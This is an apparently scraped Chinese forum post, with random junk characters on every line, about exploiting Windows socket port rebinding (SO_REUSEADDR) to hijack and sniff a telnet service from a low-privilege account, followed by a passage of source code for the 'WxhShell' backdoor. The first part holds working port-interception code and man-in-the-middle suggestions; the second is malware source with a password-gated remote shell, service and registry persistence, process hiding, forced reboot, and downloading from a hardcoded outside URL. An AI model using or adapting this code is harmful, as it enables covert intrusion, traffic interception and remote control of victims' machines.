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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9*VL|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); RV%)~S@!R  
vb3hDy  
  saddr.sin_family = AF_INET; 8WC _CAP  
svtqX-Vj"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?%$~Bb _  
Q+s2S>U{v  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); FT!Xr  
:"cKxd  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 S }qGf%  
rA}mp]  
  这意味着什么?意味着可以进行如下的攻击: 15d'/f  
-K/c~'%'*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 f6 s .xQ  
M"6J"s  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hx ^l  
0bOT&Z^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ua,!kyS  
*'@ sm*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  QwL*A `@  
25<qo{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $GYy[8{:V  
1p=bpJC  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3AAciMq}  
2a*+mw  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >X*Y jv:r  
\{v-Xe&d^  
  #include lv+: `   
  #include Adgfo)X5  
  #include ^DVryeLD  
  #include    k106fT]eX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #Y'ewu;qJ  
  int main() p-H}NQ\  
  { yT[=!M  
  WORD wVersionRequested; a*uG^~ ).  
  DWORD ret; Z/d {v:)  
  WSADATA wsaData; ^ 4*#QtO  
  BOOL val; JF=T_SH^U  
  SOCKADDR_IN saddr; z<gII~%  
  SOCKADDR_IN scaddr; TeFi[1  
  int err; \"w+4}  
  SOCKET s; wj5,_d)  
  SOCKET sc; b*ja,I4  
  int caddsize; Q 7\j:.  
  HANDLE mt; T8d=@8g,%  
  DWORD tid;   t#w,G  
  wVersionRequested = MAKEWORD( 2, 2 ); g!OcWy)7  
  err = WSAStartup( wVersionRequested, &wsaData ); `26.+>Z7  
  if ( err != 0 ) { bz.sWBugR  
  printf("error!WSAStartup failed!\n"); Y^y:N$3$\  
  return -1; )Br#R:#  
  } |(CgX6 l3  
  saddr.sin_family = AF_INET; U2CC#,b!(  
   5&xbGEP$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ZD4aT1|Q7  
x+b.9f4xJ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); + WT?p]  
  saddr.sin_port = htons(23); VCwC$ts  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u"m TS&  
  { BCtKxtbS  
  printf("error!socket failed!\n"); [Y j: H  
  return -1; AQ,"):ofvT  
  }  VF g(:  
  val = TRUE; D !{e  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 b_7LSp  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) DuLl"w\_@  
  { N1 sdWXG  
  printf("error!setsockopt failed!\n"); ^# 4e_&4  
  return -1; uc}F|O   
  } /:"^,i\t  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]c bXI  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g:@4/+TSt  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 F>GPi!O  
;aD?BD__Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .{|SKhXk  
  { FR>[ g`1  
  ret=GetLastError(); Zr=B8wuT  
  printf("error!bind failed!\n"); ?FwHqyFVlQ  
  return -1; fzOh3FO+  
  } mA"[x_  
  listen(s,2); \U##b~Z,g  
  while(1) Y#6LNI   
  { _>;{+XRX[  
  caddsize = sizeof(scaddr); yPg0 :o-  
  //接受连接请求 ;Sg,$`]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .gt;:8fw{  
  if(sc!=INVALID_SOCKET) <j/wK]d*/  
  { q=-h#IF^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); DiGHo~f  
  if(mt==NULL) T3LVn<Lm\  
  { 2EYWX! Bx  
  printf("Thread Creat Failed!\n"); Y*{5'q+2  
  break; 0d1!Q!PH3  
  } S!b?pl  
  } o{QV'dgu  
  CloseHandle(mt); <4~SFTWY  
  } u%Mo.<PI  
  closesocket(s); !6a;/ys  
  WSACleanup(); EBiLe;=X  
  return 0; Z  
  }   5evk_f  
  DWORD WINAPI ClientThread(LPVOID lpParam) Zj_2B_|WN#  
  { V<?0(esgR  
  SOCKET ss = (SOCKET)lpParam; |WSpWsr,  
  SOCKET sc; 72_+ b  
  unsigned char buf[4096]; Jd',v  
  SOCKADDR_IN saddr; TjI&8#AWBA  
  long num; rY8(`a  
  DWORD val; S9ic4rcd  
  DWORD ret; 4bL? V^@7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Z^=(9 :  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2##mVEo.(  
  saddr.sin_family = AF_INET; 2.]d~\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Dy 8H(_  
  saddr.sin_port = htons(23); LC$M_Cpw  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;C=V -r  
  { eW8{ ],B  
  printf("error!socket failed!\n"); 9U4[o<G]=  
  return -1; Z9q4W:jyS  
  } IKaW],sr#  
  val = 100; =e0MEV#s.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~wOMT  
  { Zsmv{p  
  ret = GetLastError(); jeJspch+#  
  return -1; c;!| =  
  } _8-T?j**   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /3 VO!V]u  
  { PgHmOs  
  ret = GetLastError(); i_QiE2d  
  return -1; d$xvM  
  } w'XSkI_ay  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {d]B+'  
  { <:T/hm$  
  printf("error!socket connect failed!\n"); [>\e@ =  
  closesocket(sc); dLeos9M:  
  closesocket(ss); XKDX*x G  
  return -1; D:?"Rf{)  
  } !%DE(E*'(  
  while(1) _n{_\/A6f  
  { Nl/ fvJ`4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H q?F@X  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7i'clB9!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )s4: &!  
  num = recv(ss,buf,4096,0); cIa`pU,6A  
  if(num>0) t F 7u-  
  send(sc,buf,num,0); _[i.)8$7  
  else if(num==0) dw!Xt@,[g{  
  break; 'o*\ N%  
  num = recv(sc,buf,4096,0); q/Ji}NGm  
  if(num>0) >j*0fb!:]  
  send(ss,buf,num,0); s{{8!Q  
  else if(num==0) r dtzz#7  
  break; ~66v.`K!  
  } g1_z=(i`Z  
  closesocket(ss); %_CL/H   
  closesocket(sc); .Cs'@[Ciy  
  return 0 ; O '`|(L  
  } %++S;#)~  
 vILB$%I  
mwN "Cu4t  
========================================================== m7Ry FnR2  
-[pfLo  
下边附上一个代码,,WXhSHELL ^eefR5^_w  
,\#j6R,{I  
========================================================== kmo#jITa`  
RlU?F  
#include "stdafx.h" -*hPEgcV9  
`ZO5-E  
#include <stdio.h> .6y*Z+Zg  
#include <string.h> Pgq(yPC  
#include <windows.h> 2 e#"JZ=  
#include <winsock2.h> ^k{/Yl  
#include <winsvc.h> g>eWX*Pa|  
#include <urlmon.h> m=/HUt3(&0  
p_e x  
#pragma comment (lib, "Ws2_32.lib") (n_.bSI  
#pragma comment (lib, "urlmon.lib") $uUyp8F  
}H saJ=1U  
#define MAX_USER   100 // 最大客户端连接数 RBg2iG$ 8|  
#define BUF_SOCK   200 // sock buffer 4 >H0a  
#define KEY_BUFF   255 // 输入 buffer U3v~R4  
=CS$c?  
#define REBOOT     0   // 重启 *f{4 _ts  
#define SHUTDOWN   1   // 关机 [D(JEO@ :  
V$;`#J$\b  
#define DEF_PORT   5000 // 监听端口 gp~-n7'~O  
O U9{Y9e  
#define REG_LEN     16   // 注册表键长度  | z_av  
#define SVC_LEN     80   // NT服务名长度 Ol<LL#<j4  
9&<c)sS&B  
// 从dll定义API YcR: _ac  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nw_|W)JVQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $Fy~xMA8O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2`ERrh^i"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M9Yov4k,4]  
aHI~@  
// wxhshell配置信息 I")Ud?v0)  
struct WSCFG { NwQ$gDgu t  
  int ws_port;         // 监听端口 3UZ_1nY  
  char ws_passstr[REG_LEN]; // 口令 D&@ js!|5  
  int ws_autoins;       // 安装标记, 1=yes 0=no b j<T`M!  
  char ws_regname[REG_LEN]; // 注册表键名 NNTrH\SU #  
  char ws_svcname[REG_LEN]; // 服务名 wdV)M?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0"+QWh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;- Vs|X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hp}rCy|01  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {!{T,_ J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^L Xr4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D62'bFB^  
f`\J%9U_O  
}; mUR[;;l  
?duw0SZ  
// default Wxhshell configuration 5GPAt  
struct WSCFG wscfg={DEF_PORT, Vhb~kI!x  
    "xuhuanlingzhe", F8{T/YhZ  
    1, 66+]D4(k  
    "Wxhshell", 9)j"|5H  
    "Wxhshell", J4iu8_eH!D  
            "WxhShell Service", <Nc9F['&#  
    "Wrsky Windows CmdShell Service", *laFG <;  
    "Please Input Your Password: ", wLt0Fq6QG  
  1, 99]s/KD2yb  
  "http://www.wrsky.com/wxhshell.exe", KVViTpZ  
  "Wxhshell.exe" y^kC2DS   
    }; a{%EHL,F  
Bxj4rC[  
// 消息定义模块 ?V_v=X%w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F^TOLwix  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G4#Yz6O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -~lrv#5Q  
char *msg_ws_ext="\n\rExit."; !VrBoU4<d  
char *msg_ws_end="\n\rQuit."; !}1l8Y  
char *msg_ws_boot="\n\rReboot..."; R_Bf JD.  
char *msg_ws_poff="\n\rShutdown..."; =FFs8&PKys  
char *msg_ws_down="\n\rSave to "; o$*DFvk  
^BI&-bR@  
char *msg_ws_err="\n\rErr!"; 9+5F(pd(  
char *msg_ws_ok="\n\rOK!"; ]x3 )OjH  
0&r}'f ?  
char ExeFile[MAX_PATH]; XoMgb DC  
int nUser = 0; HBk5 p>&  
HANDLE handles[MAX_USER]; Z vyF"4QN  
int OsIsNt; *0'{ n*>  
*S4&V<W>  
SERVICE_STATUS       serviceStatus; 6+PP(>em  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dPgA~~  
-ucR@P]  
// 函数声明 m5KLi &R  
int Install(void); Kj6+$l   
int Uninstall(void); E!I4I'  
int DownloadFile(char *sURL, SOCKET wsh); .Dr7YquW  
int Boot(int flag); v yP_qG  
void HideProc(void); y%YP  
int GetOsVer(void); DAEWa Kui  
int Wxhshell(SOCKET wsl); H-X5A\\5  
void TalkWithClient(void *cs); WFqOVI*l  
int CmdShell(SOCKET sock); A7|x|mW  
int StartFromService(void); v57Kr ,  
int StartWxhshell(LPSTR lpCmdLine); do%.KIk  
MU N:}S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =3,Sjme  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nXxnyom,  
C{ Z*5)  
// 数据结构和表定义 (hv}K*c{  
SERVICE_TABLE_ENTRY DispatchTable[] = W`n_m&Y\  
{ .=c@ps  
{wscfg.ws_svcname, NTServiceMain}, ^4saB+qm  
{NULL, NULL} ZQ[s:  
}; qEkhgJqk  
Ac[;S!R  
// 自我安装 2"Y=*s  
int Install(void) 1fF\k#BE-%  
{ BMhuM~?(  
  char svExeFile[MAX_PATH]; rmI@ #'  
  HKEY key; ;:Kc{B.s  
  strcpy(svExeFile,ExeFile); q93V'[)F  
`]Vn[^?D  
// 如果是win9x系统,修改注册表设为自启动 $,T3vX]<  
if(!OsIsNt) { .3 ^*_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i\MW'b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m :]F &s  
  RegCloseKey(key); er!+QD,EM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7G_lGV_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Aca ?C  
  RegCloseKey(key); {Z[kvXf"mZ  
  return 0; ):Ekf2  
    } `k08M)  
  } TR{dNO!q  
} MpJx>0j/J  
else { [@s5v  
B_.>Q8tK;  
// 如果是NT以上系统,安装为系统服务 / pR,l5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +,9Mufh  
if (schSCManager!=0) '9|R7  
{ ZJ_P=  
  SC_HANDLE schService = CreateService b55G1w  
  ( HL!"U (_  
  schSCManager, D/WzYc2h]  
  wscfg.ws_svcname, GuJIN"P]  
  wscfg.ws_svcdisp, ;Y(~'KF  
  SERVICE_ALL_ACCESS, 8@I.\u)0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )/tdiRpn  
  SERVICE_AUTO_START, yXc@i)9w3  
  SERVICE_ERROR_NORMAL, Ob -k`@_|  
  svExeFile, )v.\4Q4  
  NULL, /bqJ6$  
  NULL, @(rLn  
  NULL, rX&?Xi1JeV  
  NULL, `P9%[8`C 9  
  NULL ;{cl*EN  
  ); 'zTa]y]a  
  if (schService!=0) 6IM:Xj  
  { P99s   
  CloseServiceHandle(schService); m3_)UIJZ  
  CloseServiceHandle(schSCManager); ^EKf_w-v  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  N/AP8  
  strcat(svExeFile,wscfg.ws_svcname); );x[1*e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :SpPT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !myF_cv}'  
  RegCloseKey(key); fP1fm  
  return 0; mDU-;3OqF  
    } qk(u5Z  
  } *(<3 oIRS  
  CloseServiceHandle(schSCManager); dtq]_HvTJ  
} lnntb3q  
} ~9+\  
k+cHx799  
return 1; cGjkx3l*  
} eD 7Rv<  
Z?'){\$*  
// 自我卸载 rYr.mX  
int Uninstall(void) cNqw(\rr  
{ :y[tZ&*<_?  
  HKEY key; Q|cA8Fn  
Ad`jV_z  
if(!OsIsNt) {  \R<OT%8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8f|+045E@  
  RegDeleteValue(key,wscfg.ws_regname); .DHRPel  
  RegCloseKey(key); %AuS8'Uf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H=9\B}  
  RegDeleteValue(key,wscfg.ws_regname); +UP?M4g  
  RegCloseKey(key); h%@#jvh?4  
  return 0; vweD{\b  
  } n?A;'\cK  
}  6@ )bZ|  
} R0mWVgoz  
else { u@zBE? g  
cj/FqU"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tt>=Vt '  
if (schSCManager!=0) h9J  
{ S b3@7^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uw@|Y{(K r  
  if (schService!=0) jDc5p3D&[]  
  { wD&b[i  
  if(DeleteService(schService)!=0) { J&6]3x  
  CloseServiceHandle(schService); yf6&'Y{  
  CloseServiceHandle(schSCManager); \(bML#I  
  return 0; W1J7$   
  } V|fs"HY  
  CloseServiceHandle(schService); [HENk34  
  } uJ$!lyJ6L  
  CloseServiceHandle(schSCManager); !xK`:[B  
} e: :H1V  
} BK]q^.7+:  
Gwkp(9d  
return 1; 4%k_c79>  
} "2bCq]I0  
0qV!-i  
// 从指定url下载文件 {GiR-q{t  
int DownloadFile(char *sURL, SOCKET wsh) Wc$1Re{z  
{ Ie?C<(8Ul  
  HRESULT hr;  `#lNur\x  
char seps[]= "/"; D?Q{&6p  
char *token; z7J2O  
char *file; u-. _;  
char myURL[MAX_PATH]; #`4ma:Pj  
char myFILE[MAX_PATH]; jM3{A;U2  
<&rvv4*H  
strcpy(myURL,sURL); YvK8;<k@-?  
  token=strtok(myURL,seps); [nlW}1)46  
  while(token!=NULL) QY<2i-A  
  { X^H)2G>e  
    file=token; Dl%NVi+n  
  token=strtok(NULL,seps); Pw'3ya8  
  } m.p{+_@M&  
8+ 1t ys  
GetCurrentDirectory(MAX_PATH,myFILE); 7>J8\=  
strcat(myFILE, "\\"); 7=8e|$K_  
strcat(myFILE, file); ZWSYh>"  
  send(wsh,myFILE,strlen(myFILE),0); OE/O:F:1j  
send(wsh,"...",3,0); HLU'1As65  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JQ8wL _C>  
  if(hr==S_OK) X}xy v  
return 0; d1#;>MiU  
else ~8Z0{^  
return 1; :_Y@,CpIEg  
GKwm %A  
} PDo%ob\Ym  
eVDI7W:(Sn  
// 系统电源模块 *eytr#0B-  
int Boot(int flag) [x 5T7=  
{ >LwZ"IE V  
  HANDLE hToken; T)]5k3{  
  TOKEN_PRIVILEGES tkp; Pz1pEyuL  
;%AK< RT  
  if(OsIsNt) { xS`>[8?3<T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g Xvuv^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iFW)}_.  
    tkp.PrivilegeCount = 1; Q': }'CI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Xb=9~7&,$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o+(.Pb  
if(flag==REBOOT) { B&yb%`9],W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;X! sTs  
  return 0; ]-& ehW  
} .3&zP  
else { IXugnvyV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Sf)VQ5U!Y  
  return 0; 2mbZ6'p {  
} 4*_9Gl  
  } M yr [  
  else { 5 d S5,  
if(flag==REBOOT) { hof:+aW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ajW[}/)  
  return 0; _.OajE\T  
} ^'~+w3M@  
else { }}v;V*_V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [|\~-6"7N|  
  return 0; 8|`4D 'Ln  
} e@6<mir[4  
} Qj?FUxw  
o@r+Y  
return 1; e qQAst#~  
} m#mM2Guxe  
!h{qO&ZH=  
// win9x进程隐藏模块 2`Xy}9N/Y  
void HideProc(void) z)r)w?A  
{ bH&Cbme90-  
w3c[t~R8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DJ;G0*  
  if ( hKernel != NULL ) d$/BF&n  
  { U&|=dH]-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }\B`tAN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hV/$6 8A_  
    FreeLibrary(hKernel); 7^h?<X\  
  } *Y6BPFE*4  
"*WzoRA={  
return; =m=`|Bn  
} qIa|sV\w0  
AxUj CerNf  
// 获取操作系统版本 =u(. Y  
int GetOsVer(void) ^ S'}RZ*>  
{ ,Utp6X  
  OSVERSIONINFO winfo; 67Z|=B !7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); . Yg)|/  
  GetVersionEx(&winfo); >z1RCQWju  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O2?ye4uq  
  return 1; ._"U{ f2V  
  else ](4V 3w.  
  return 0; HiEXw}Hkz  
} q-3%.<LL  
xj iMM>|n  
// 客户端句柄模块 6|t4\'  
int Wxhshell(SOCKET wsl) DF/p{s1Y3  
{ P}y}IR{6  
  SOCKET wsh; Z16G  
  struct sockaddr_in client; 0ejx; Mum  
  DWORD myID; I|,^a|\  
FJgr=9>  
  while(nUser<MAX_USER) ~S15tZ $  
{ ^)conSm  
  int nSize=sizeof(client); ScYw3i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9~bje^M  
  if(wsh==INVALID_SOCKET) return 1; &F*s.gL  
~sshhuF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `h/j3fmX?  
if(handles[nUser]==0) gYfN ?A*`_  
  closesocket(wsh); 7^#f<m;Ar!  
else G0Smss=K  
  nUser++; ]fI v{[A_  
  } MbC7`Sp&i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #.UooFk+Y  
(EGsw o  
  return 0; mnu4XE#|  
} So\(]S  
Q5b?- P  
// 关闭 socket h.ojj$f,  
void CloseIt(SOCKET wsh) lwaxj7  
{ RxY ;'NY  
closesocket(wsh); -mOSB(#bo  
nUser--; A9ia[2[  
ExitThread(0); wGD".CS0  
} x'@0]f.  
tbF>"?FY/  
// 客户端请求句柄 Nt9M$?\P  
void TalkWithClient(void *cs) R:P'QM   
{ Wc ]BQn  
\%z#|oV#<  
  SOCKET wsh=(SOCKET)cs; /Y:&307q  
  char pwd[SVC_LEN]; RrRrB"!8nR  
  char cmd[KEY_BUFF]; '{p/F $  
char chr[1]; j1%o+#df  
int i,j; d76k1-m\o  
j|TcmZGO  
  while (nUser < MAX_USER) { kB {  
^&buX_nlO  
if(wscfg.ws_passstr) { mk8xNpk B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }&Un8Rg"h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G < Z)y#  
  //ZeroMemory(pwd,KEY_BUFF); j+"i$ln+s  
      i=0; ^EWkJW,Yc  
  while(i<SVC_LEN) { \:9dt8(-U  
0m7ANqE[Z  
  // 设置超时 9{@[ l!]W  
  fd_set FdRead; zD:"O4ZM^^  
  struct timeval TimeOut; O-y/K2MC*  
  FD_ZERO(&FdRead); qZACX.Hw  
  FD_SET(wsh,&FdRead); Mh"DPt9@J  
  TimeOut.tv_sec=8; %yX?4T;b  
  TimeOut.tv_usec=0; 2jV.\C k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); losm<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [Hw  
rXc-V},az8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QE*O~Yj  
  pwd=chr[0]; 16ahU$@-  
  if(chr[0]==0xd || chr[0]==0xa) { zgRZgVj  
  pwd=0; =B<>H$  
  break; ;= ^kTb`X  
  } a|rN %hA4  
  i++; QPB@qx#@  
    } 5[}3j1  
}kzGuNj  
  // 如果是非法用户,关闭 socket 9W88_rE'e}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Qn'Do4Le  
} NC'+-P'y  
Z&9MtpC+N3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G66sP w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "S)2<tV  
<qjNX-|  
while(1) { f#mBMdj  
/8(c^  
  ZeroMemory(cmd,KEY_BUFF); JoeU J3N  
$Wt0e 4YSu  
      // 自动支持客户端 telnet标准   yW5/Y02  
  j=0; f.8Jp<S2K  
  while(j<KEY_BUFF) { mW~t/$Y$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |^9+c2   
  cmd[j]=chr[0]; 5Z"IM8?  
  if(chr[0]==0xa || chr[0]==0xd) { G<n(\85X  
  cmd[j]=0; JLo'=(  
  break; s+IU%y/9$a  
  } XCr\Y`,Z@  
  j++; ATx6YP@7~  
    } mOgsO  
e59P6/z  
  // 下载文件 "zFv? ay  
  if(strstr(cmd,"http://")) { ]Hr:|2 |.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gq9IJ  
  if(DownloadFile(cmd,wsh)) n${,r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WeyH;P=  
  else ; ^+#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qYo"-D*  
  }  mG4$  
  else { ZS&>%G  
ETU.v*HT]  
    switch(cmd[0]) { *FhD%><  
  0kC}qru'  
  // 帮助 `q =e<$  
  case '?': { 4Ufx,]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?4>uGaU\  
    break; '](4g/%  
  } T,N"8N{K"  
  // 安装 fXfBDB  
  case 'i': { 4CAV)  
    if(Install()) 74f3a|vx/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0-Z sV3I&  
    else Pf,S`U w;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s&(,_34  
    break; 8/q6vk><  
    } |]=. ^  
  // 卸载 i T* !3  
  case 'r': { LF o{,%B  
    if(Uninstall()) 'lmZ{a6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DXX(qk)6  
    else xW|^2k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r*$$82s  
    break; V.<$c1#=$  
    } >JdA,i}1  
  // 显示 wxhshell 所在路径 X^204K%:  
  case 'p': { C-25\  
    char svExeFile[MAX_PATH]; )gM3,gSS  
    strcpy(svExeFile,"\n\r"); "s[Y$!#  
      strcat(svExeFile,ExeFile); ;/tZsE{  
        send(wsh,svExeFile,strlen(svExeFile),0); ?naPti1GX  
    break; V[E7 mhqy  
    } +Smt8O<N  
  // 重启 _`RzPIS^  
  case 'b': { %Xm3m0nsv{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VrG4wLpLs  
    if(Boot(REBOOT)) 8R !3}kx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !r=^aa(\  
    else { X`xI~&t_  
    closesocket(wsh); MYVUOd,  
    ExitThread(0); D@]gc&JN[  
    } VyRU_<xP  
    break; ZHPsGHA  
    } TTNgnP  
  // 关机 -KzU''  
  case 'd': { /cmnX'z  
